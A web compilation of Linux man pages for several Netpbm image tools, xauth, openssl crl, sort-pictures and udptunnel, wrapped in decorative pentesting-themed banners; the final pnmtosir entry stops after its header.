             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1341 - Linux cli command yuvsplittoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command yuvsplittoppm and provides detailed information about the command yuvsplittoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the yuvsplittoppm.

.

NAME 🖥️ yuvsplittoppm 🖥️

convert separate Y, U, and V files into a PPM image

SYNOPSIS

yuvsplittoppm

basename width height [-ccir601]

DESCRIPTION

This program is part of Netpbm(1) .

yuvsplittoppm reads three files, containing the YUV components, as input. These files are basename.Y, basename.U, and basename.V. Produces a PPM image on Standard Output.

Since the YUV files are raw files, the dimensions width and height must be specified on the command line.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), yuvsplittoppm recognizes the following command line option:

-ccir601
Assumes that the YUV triplets are scaled into the smaller range of the CCIR 601 (MPEG) standard. Else, the JFIF (JPEG) standard is assumed.

SEE ALSO

ppmtoyuvsplit(1) , yuvtoppm(1) , ppm(1)

AUTHOR

Marcel Wijkstra <[email protected]>, based on ppmtoyuvsplit.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/yuvsplittoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1342 - Linux cli command pgmoil

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmoil and provides detailed information about the command pgmoil, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmoil.

.

NAME 🖥️ pgmoil 🖥️

replaced by pamoil

DESCRIPTION

This program is part of Netpbm(1) .

pgmoil was replaced in Netpbm 9.16 (July 2001) by pamoil(1) .

pamoil is backward compatible with pgmoil, but works on color images too.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmoil.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1343 - Linux cli command xauth

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xauth and provides detailed information about the command xauth, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xauth.

NAME 🖥️ xauth 🖥️

X authority file utility

SYNOPSIS

xauth [ -f authfile ] [ -vqibn ] [ command arg … ]

DESCRIPTION

The xauth program is used to edit and display the authorization information used in connecting to the X server. This program is usually used to extract authorization records from one machine and merge them in on another (as is the case when using remote logins or granting access to other users). Commands (described below) may be entered interactively, on the xauth command line, or in scripts. Note that this program does not contact the X server except when the generate command is used. Normally xauth is not used to create the authority file entry in the first place; the program that starts the X server (often xdm or startx) does that.

OPTIONS

The following options may be used with xauth. They may be given individually (e.g., *-q -i *) or may combined (e.g., *-qi *).

-f authfile
This option specifies the name of the authority file to use. By default, xauth will use the file specified by the XAUTHORITY environment variable or .Xauthority in the user’s home directory.

-q
This option indicates that xauth should operate quietly and not print unsolicited status messages. This is the default if an xauth command is given on the command line or if the standard output is not directed to a terminal.

-v
This option indicates that xauth should operate verbosely and print status messages indicating the results of various operations (e.g., how many records have been read in or written out). This is the default if xauth is reading commands from its standard input and its standard output is directed to a terminal.

-i
This option indicates that xauth should ignore any authority file locks. Normally, xauth will refuse to read or edit any authority files that have been locked by other programs (usually xdm or another xauth).

-b
This option indicates that xauth should attempt to break any authority file locks before proceeding. Use this option only to clean up stale locks.

-n
This option indicates that xauth should not attempt to resolve any hostnames, but should simply always print the host address as stored in the authority file.

-V
This option shows the version number of the xauth executable.

COMMANDS

The following commands may be used to manipulate authority files:

add displayname protocolname hexkey
An authorization entry for the indicated display using the given protocol and key data is added to the authorization file. The data is specified as an even-lengthed string of hexadecimal digits, each pair representing one octet. The first digit of each pair gives the most significant 4 bits of the octet, and the second digit of the pair gives the least significant 4 bits. For example, a 32 character hexkey would represent a 128-bit value. A protocol name consisting of just a single period is treated as an abbreviation for MIT-MAGIC-COOKIE-1.

generate displayname protocolname [trusted|untrusted]
[timeout seconds] [group group-id] [data hexdata]

This command is similar to add. The main difference is that instead of requiring the user to supply the key data, it connects to the server specified in displayname and uses the SECURITY extension in order to get the key data to store in the authorization file. If the server cannot be contacted or if it does not support the SECURITY extension, the command fails. Otherwise, an authorization entry for the indicated display using the given protocol is added to the authorization file. A protocol name consisting of just a single period is treated as an abbreviation for MIT-MAGIC-COOKIE-1.

If the trusted option is used, clients that connect using this authorization will have full run of the display, as usual. If untrusted is used, clients that connect using this authorization will be considered untrusted and prevented from stealing or tampering with data belonging to trusted clients. See the SECURITY extension specification for full details on the restrictions imposed on untrusted clients. The default is untrusted.

The timeout option specifies how long in seconds this authorization will be valid. If the authorization remains unused (no clients are connected with it) for longer than this time period, the server purges the authorization, and future attempts to connect using it will fail. Note that the purging done by the server does not delete the authorization entry from the authorization file. The default timeout is 60 seconds.

The group option specifies the application group that clients connecting with this authorization should belong to. See the application group extension specification for more details. The default is to not belong to an application group.

The data option specifies data that the server should use to generate the authorization. Note that this is not the same data that gets written to the authorization file. The interpretation of this data depends on the authorization protocol. The hexdata is in the same format as the hexkey described in the add command. The default is to send no data.

[n]extract filename displayname…
Authorization entries for each of the specified displays are written to the indicated file. If the nextract command is used, the entries are written in a numeric format suitable for non-binary transmission (such as secure electronic mail). The extracted entries can be read back in using the merge and nmerge commands. If the filename consists of just a single dash, the entries will be written to the standard output.

[n]list [displayname…]
Authorization entries for each of the specified displays (or all if no displays are named) are printed on the standard output. If the nlist command is used, entries will be shown in the numeric format used by the nextract command; otherwise, they are shown in a textual format. Key data is always displayed in the hexadecimal format given in the description of the add command.

[n]merge [filename…]
Authorization entries are read from the specified files and are merged into the authorization database, superseding any matching existing entries. If the nmerge command is used, the numeric format given in the description of the extract command is used. If a filename consists of just a single dash, the standard input will be read if it hasn’t been read before.

remove displayname
Authorization entries matching the specified displays are removed from the authority file.

source filename
The specified file is treated as a script containing xauth commands to execute. Blank lines and lines beginning with a sharp sign (#) are ignored. A single dash may be used to indicate the standard input, if it hasn’t already been read.

info
Information describing the authorization file, whether or not any changes have been made, and from where xauth commands are being read is printed on the standard output.

exit
If any modifications have been made, the authority file is written out (if allowed), and the program exits. An end of file is treated as an implicit exit command.

quit
The program exits, ignoring any modifications. This may also be accomplished by pressing the interrupt character.

version
This command shows the version number of the xauth executable.

help [string]
A description of all commands that begin with the given string (or all commands if no string is given) is printed on the standard output.

?
A short list of the valid commands is printed on the standard output.

DISPLAY NAMES

Display names for the add, [n]extract, [n]list, [n]merge, and remove commands use the same format as the DISPLAY environment variable and the common -display command line argument. Display-specific information (such as the screen number) is unnecessary and will be ignored. Same-machine connections (such as local-host sockets, shared memory, and the Internet Protocol hostname localhost) are referred to as hostname/unix:displaynumber so that local entries for different machines may be stored in one authority file.

EXAMPLE

The most common use for xauth is to extract the entry for the current display, copy it to another machine, and merge it into the user’s authority file on the remote machine:

        %  xauth extract - $DISPLAY | ssh otherhost xauth merge -

The following command contacts the server :0 to create an authorization using the MIT-MAGIC-COOKIE-1 protocol. Clients that connect with this authorization will be untrusted.

	%  xauth generate :0 .

ENVIRONMENT

This xauth program uses the following environment variables:

XAUTHORITY
to get the name of the authority file to use if the -f option isn’t used.

HOME
to get the user’s home directory if XAUTHORITY isn’t defined.

FILES

$HOME/.Xauthority
default authority file if XAUTHORITY isn’t defined.

SEE ALSO

X(7), Xsecurity(7), xhost(1), Xserver(1), xdm(1), startx(1), Xau(3).

BUGS

Users that have insecure networks should take care to use encrypted file transfer mechanisms to copy authorization entries between machines. Similarly, the MIT-MAGIC-COOKIE-1 protocol is not very useful in insecure environments. Sites that are interested in additional security may need to use encrypted authorization mechanisms such as Kerberos.

Spaces are currently not allowed in the protocol name. Quoting could be added for the truly perverse.

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1344 - Linux cli command pamgauss

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamgauss and provides detailed information about the command pamgauss, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamgauss.

.

NAME 🖥️ pamgauss 🖥️

create a two-dimensional Gaussian function as a PAM image

SYNOPSIS

pamgauss width height -sigma=number [-maxval=number] [-tupletype=string] [-maximize] [**-oversample=**number]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

EXAMPLES

     pamgauss 7 7 -sigma=.5 -maximize -tupletype=GRAYSCALE | pamtopnm >gauss.pgm
     pnmconvol -nooffset -normalize gauss.pgm myimage.ppm >blurred.ppm

DESCRIPTION

This program is part of Netpbm(1) .

pamgauss generates a one-plane PAM image whose samples are a Gaussian function of their distance from the center of the image. I.e. the sample value is highest in the center and goes down, in a bell curve shape, as you move away from the center.

You can use this image as a convolution kernel with pnmconvol to blur an image. (This technique is known as Gaussian blurring).

width and height are the dimensions of the image that pamgauss generates. Mathematically speaking, they are the domain of the two-dimensional Gaussian function. If you want to be sure you get a whole Gaussian function, make sure that you choose a standard deviation and image dimensions so that if you made it any larger, the sample values at the edges would be zero.

The output image is PAM. To make it usable with pnmconvol, specify -tupletype=GRAYSCALE so pnmconvol can use it as if it were PGM. You must use the -nooffset option on pnmconvol because zero means zero in the PAM that pamgauss generates.

Without -maximize, the sum of all the samples is equal to the image’s maxval (within rounding error). This is true even if you clip the Gaussian function by making the image too small. This is what is normally required of a convolution kernel.

pamgauss oversamples and averages to represent the continuous Gaussian function in discrete samples in the PAM output. Consider an image 11 samples wide and an oversampling factor of 10. The samples can be thought of as contiguous squares one unit wide. The center of the image is thus the center of the 6th sample from the left. The 3rd sample from the left covers a range of distances from 3 to 4 units from the center of the image. Because the oversampling factor is 10, pamgauss computes the value of the Gaussian function at 10 points evenly spaced between 3 and 4 units from the center of the image and assigns the 3rd sample from the left the mean of those 10 values.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamgauss recognizes the following command line options:

**-sigma=**number
This is the standard deviation of the Gaussian function. The higher the number, the more spread out the function is. Normally, you want to make this number low enough that the function reaches zero value before the edge of your image.

number is in units of samples.

This option is required. There is no default.

-maximize
Causes pamgauss to use the whole dynamic range available in the output PAM image by choosing an amplitude for the Gaussian function that causes the maximum value in the image to be the maxval of the image.

If you select this, you probably want to normalize the output (scale the samples down so the volume under the surface of the two-dimensional Gaussian function is the maxval) before you use it, for example with pnmconvol’s -normalize option. The reason this is different from just not using -maximize is that this subsequent normalization can be done with much more precision than can be represented in a PAM image.

Without this option, pamgauss uses an amplitude that makes the volume under the surface of the two-dimensional Gaussian function the maxval of the image. This means all the samples in the image are normally considerably less than the maxval.

This option was new in Netpbm 10.79 (June 2017).

**-maxval=**number
This is the maxval for the output image. 65535 is almost always the best value to use. But there may be some programs (not part of Netpbm) that can’t handle a maxval greater than 255.

The default is 255.

**-tupletype=**string
This is the value of the “tuple_type” attribute of the created PAM image. It can be any string up to 255 characters.

If you don’t specify this, pamgauss generates a PAM with unspecified tuple type.

**-oversample=**number
This sets the oversampling factor. pamgauss samples the Gaussian function this many times, both horizontally and vertically, to get the value of each sample in the output.

An oversampling factor of 1 means no oversampling, which means each sample is based only on the value of the Gaussian function at the center of the sample.

The default is 5 divided by the standard deviation, rounded up to a whole number.

This option was new in Netpbm 10.79 (June 2017). Before that, it is essentially 1 - there is no oversampling.

SEE ALSO

pnmconvol(1) , pamtopnm(1) , pgmkernel(1) , pamseq(1) , pam(1)

HISTORY

pamgauss was new in Netpbm 10.23 (July 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamgauss.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1345 - Linux cli command pgmedge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmedge and provides detailed information about the command pgmedge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmedge.

.

NAME 🖥️ pgmedge 🖥️

replaced by pamedge

DESCRIPTION

This program is part of Netpbm(1) .

pgmedge was replaced in Netpbm 10.14 (March 2002) by pamedge(1) .

pamedge is backward compatible with pgmedge, but works on color images too.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmedge.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1346 - Linux cli command openssl-crlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-crlssl and provides detailed information about the command openssl-crlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-crlssl.

NAME 🖥️ openssl-crlssl 🖥️

crl - CRL command

SYNOPSIS

openssl crl [-help] [-inform DER|PEM] [-outform DER|PEM] [-key filename] [-keyform DER|PEM|P12] [-dateopt] [-text] [-in filename] [-out filename] [-gendelta filename] [-badsig] [-verify] [-noout] [-hash] [-hash_old] [-fingerprint] [-crlnumber] [-issuer] [-lastupdate] [-nextupdate] [-nameopt option] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes CRL files in DER or PEM format.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The CRL input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The CRL output format; the default is PEM. See openssl-format-options (1) for details.

-key filename
The private key to be used to sign the CRL.

-keyform DER|PEM|P12
The format of the private key file; unspecified by default. See openssl-format-options (1) for details.

-in filename
This specifies the input filename to read from or standard input if this option is not specified.

-out filename
Specifies the output filename to write to or standard output by default.

-gendelta filename
Output a comparison of the main CRL and the one specified here.

-badsig
Corrupt the signature before writing it; this can be useful for testing.

-dateopt
Specify the date output format. Values are: rfc_822 and iso_8601. Defaults to rfc_822.

-text
Print out the CRL in text form.

-verify
Verify the signature in the CRL. This option is implicitly enabled if any of -CApath, -CAfile or -CAstore is specified.

-noout
Don’t output the encoded version of the CRL.

-fingerprint
Output the fingerprint of the CRL.

-crlnumber
Output the number of the CRL.

-hash
Output a hash of the issuer name. This can be use to lookup CRLs in a directory by issuer name.

-hash_old
Outputs the “hash” of the CRL issuer name using the older algorithm as used by OpenSSL before version 1.0.0.

-issuer
Output the issuer name.

-lastupdate
Output the lastUpdate field.

-nextupdate
Output the nextUpdate field.

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Convert a CRL file from PEM to DER:

openssl crl -in crl.pem -outform DER -out crl.der

Output the text form of a DER encoded certificate:

openssl crl -in crl.der -text -noout

BUGS

Ideally it should be possible to create a CRL using appropriate options and files too.

SEE ALSO

openssl (1), openssl-crl2pkcs7 (1), openssl-ca (1), openssl-x509 (1), ossl_store-file (7)

COPYRIGHT

Copyright 2000-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1347 - Linux cli command sort-pictures

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sort-pictures and provides detailed information about the command sort-pictures, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sort-pictures.

NAME 🖥️ sort-pictures 🖥️

pictures - sort pictures according to exif date

SYNOPSIS

sort-pictures

DESCRIPTION

Sort-pictures uses the exif tags in jpeg pictures recovered by recoverjpeg in directories. It creates hard links to organize sorted pictures.

Running sort-pictures will scan the current directory for files named after the template image?????*.jpg (image followed by at least five characters followed by .jpg). A new hardlink will be created for each file in one of the following directories:

  • invalid The picture is an invalid JFIF file.

  • small The picture size is less than 100,000 bytes.

  • undated Sort-pictures was unable to determine the date of the picture from the exif tags.

  • YYYY-MM-DD A directory representing the date at which the picture was taken.

SEE ALSO

recoverjpeg(1) remove-duplicates(1)

COPYRIGHT

Copyright (c) 2004-2016 Samuel Tardieu <[email protected]>. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

AUTHORS

Samuel Tardieu <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1348 - Linux cli command udptunnel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command udptunnel and provides detailed information about the command udptunnel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the udptunnel.

NAME 🖥️ udptunnel 🖥️

Tunnel UDP packets over a TCP connection

SYNTAX

udptunnel -s TCP-port [-r] [-v] UDP-addr/UDP-port[/ttl]
udptunnel -c TCP-addr[/TCP-port] [-r] [-v] UDP-addr/UDP-port[/ttl]

DESCRIPTION

UDPTunnel is a small program which can tunnel UDP packets bi-directionally over a TCP connection. Its primary purpose (and original motivation) is to allow multi-media conferences to traverse a firewall which allows only outgoing TCP connections.

USAGE

UDPTunnel can be run in two modes: a client mode and a server mode. The client mode initiates the TCP connection before relaying UDP; the server waits for an incoming connection before doing so. After the TCP connection is established, the behavior of the two modes is identical. If you are using UDPTunnel to traverse a firewall as discussed above, the client would be run inside the firewall, and the server would be run outside it.

OPTIONS

-s TCP-port
"Server mode: If udptunnel is invoked with the -s option, it runs in server mode: the server will wait for an incoming connection on the specified TCP port, and then relay UDP to and from it."

-c TCP-addr[/TCP-port]
Client mode: If udptunnel is invoked with the -c option, it runs in client mode: it will open a TCP connection to the specified TCP host and port, and then relay UDP on it. The TCP port may be omitted in this case; it will default to the same port number as the UDP port.

-r
RTP mode: In order to facilitate tunneling both RTP and RTCP traffic for a multi-media conference, this sets up relays on two consecutive TCP and UDP ports. All specified port numbers in this case must be even. Note that both the client and the server must use the -r flag for this to work; the server will not begin relaying packets until both its connections have been established.

-v
Verbose output: This flag turns on verbose debugging output about UDPTunnel’s actions. It may be given multiple times. With a single -v, information about connection establishment is printed on UDPTunnel’s standard error stream; with a second one, per-packet information is also shown. Note that this latter case can produce a prodigious amount of information. If this flag is not given, UDPTunnel will remain silent unless an error occurs.

One of the two options -c and -s must be given; if not, it is an error.

In all cases, the UDP address and port to tunnel is given after all options. UDPTunnel will listen to this address for packets, and will send received packets on this address. The address may be a multicast address; in this case, a multicast TTL should be specified, and tunneled packets will be sent with this TTL. All addresses, TCP and UDP, may be specified either as an IPv4 dotted-quad address (e.g. 224.2.0.1) or as a host name (e.g. conrail.cs.columbia.edu). Port numbers must be in the range of 1 to 65535; TTLs must be in the range 0 to 255.

PACKET FORMAT

The packets are sent on TCP using the obvious, simple format: a sixteen-bit length field, in network byte order, precedes each data packet. This format was proposed in early drafts of RTP for RTP-over-TCP, but was dropped from the final specification.

KNOWN BUGS/ISSUES

UDPTunnel does not check incoming UDP packets to verify that they are indeed coming from the address which the user specified; it binds to INADDR_ANY, and accepts any UDP packet arriving on the specified port. This could potentially allow denial-of-service or spoofing attacks. If two or more -v options are given, per-packet identification will be printed of each packet’s source address as it is received, allowing such a situation to be diagnosed.

For multicast, UDPTunnel turns off packet loopback, as it has no way to distinguish its own packets it sent out from packets genuinely arriving on the multicast group. This means that if you are tunneling traffic from or to a multicast group, both ends of UDPTunnel must be run on different hosts than any member of the group. (In general, the only way to distinguish looped packets from packets genuinely received from other applications on the local host is with application-layer labeling, as RTP does.)

UDPTunnel is designed to tunnel RTP-style traffic, in which applications send and receive UDP packets to and from the same port (or pair of ports). It does not support request/response-style traffic, in which a client request is sent from a transient port X to a well-known port Y, and the server’s response is returned from port Y to port X.

UDPTunnel deliberately ignores “Connection Refused” errors on the UDP port, clearing the socket error state, so that a tunnel may be set up before conferencing tools are started on both ends. This may mean that a mis-typed UDP address or port is not recognized, as no error is printed. If two or more -v options are given, a diagnostic will be printed whenever the error state is cleared from the socket.

Once one endpoint of a tunnel is taken down, closing the socket, the other one exits as well; to re-establish the tunnel, UDPTunnel must be restarted on both sides.

IP version 6 is not supported.

AUTHORS

UDPTunnel was written by Jonathan Lennox <[email protected]>. It incorporates code written by Henning Schulzrinne <[email protected]>.

This manual page was written by Thomas Scheffczyk <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1349 - Linux cli command pnmtosir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtosir and provides detailed information about the command pnmtosir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtosir.

.

